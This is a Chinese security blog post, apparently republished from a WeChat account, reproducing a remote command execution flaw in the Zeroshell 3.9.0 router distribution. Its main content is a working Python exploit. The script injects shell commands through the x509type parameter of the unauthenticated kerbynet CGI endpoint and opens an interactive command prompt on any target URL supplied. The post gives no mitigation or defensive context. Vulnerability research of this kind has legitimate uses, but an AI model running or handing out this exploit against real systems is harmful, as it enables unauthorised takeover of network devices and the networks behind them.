Zeroshell 3.9.0 RCE复现

  • A+
所属分类:安全文章

0x00:简介

    

    Zeroshell 是一个微型的linux发行版本,它功能强大,具有强大的router、radius、web门户、防火墙、virtual**、Qos、 DHCP、dns转发等功能,可以用来安装到服务器上为内网提供网络服务,而且安装和使用都很方便,有U盘,Live CD和Flash imgage文件用于安装,可以使用web界面进行设置和管理。想自己部署软路由,又不想编译,找驱动程序,或者别人编译的固件有后门,可以考虑用Zeroshell替代Openwrt/LEDE。


    总的来说Zeroshell的特性包括:负载均衡及多网络连接的失效转移,通过3G调制解调器的UMTS/HSDPA连接,用于提供安全认证和无线网络加密密钥自动管理的RADIUS服务器,用于支持网页登录的强制网络门户(商场和酒店等商用场景),以及很多其他内容。



0x01:简介

神秘代码:

Zeroshell 3.9.0 RCE复现


0x02:复现截图

Zeroshell 3.9.0 RCE复现

0x03:代码

import requestsimport optparseimport time
parser = optparse.OptionParser()parser.add_option('-u', '--url', action="store", dest="url", help='Base target uri (ex. http://target-uri/)')
options, args = parser.parse_args()if not options.url: print('[+] Specify an url target') print('[+] Example usage: exploit.py -u http://target-uri/') print('[+] Example help usage: exploit.py -h') exit()
uri_zeroshell = options.urlsession = requests.Session()
def command(): try: check = session.get(uri_zeroshell + "/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type='%0Aid%0A'") if check.status_code == 200: flag = True print('[+] ZeroShell 3.9.0 Remote Command Execution') time.sleep(1) print('[+] Success connect to target') time.sleep(1) print('[+] Trying to execute command in ZeroShell OS...n') time.sleep(1) check.raise_for_status()
while flag: cmd = raw_input("$ ") payload = "/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type='%0A" + cmd + "%0A'" uri_vuln = uri_zeroshell + payload burp0_headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Upgrade-Insecure-Requests": "1"} res = session.get(uri_vuln, headers=burp0_headers, verify=False) print(res.text[:res.text.rindex("<html>") / 2])
except requests.exceptions.ConnectionError as err: print('[x] Failed to Connect in: '+uri_zeroshell+' ') print('[x] This host seems to be Down') exit() except requests.exceptions.HTTPError as conn: print('[x] Failed to execute command in: '+uri_zeroshell+' ') print('[x] This host does not appear to be a ZeroShell') exit()
command()


Zeroshell 3.9.0 RCE复现

扫码二维码

获取更多精彩

洛米唯熊

Zeroshell 3.9.0 RCE复现





点个在看 你最好看



Zeroshell 3.9.0 RCE复现

本文始发于微信公众号(洛米唯熊):Zeroshell 3.9.0 RCE复现

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: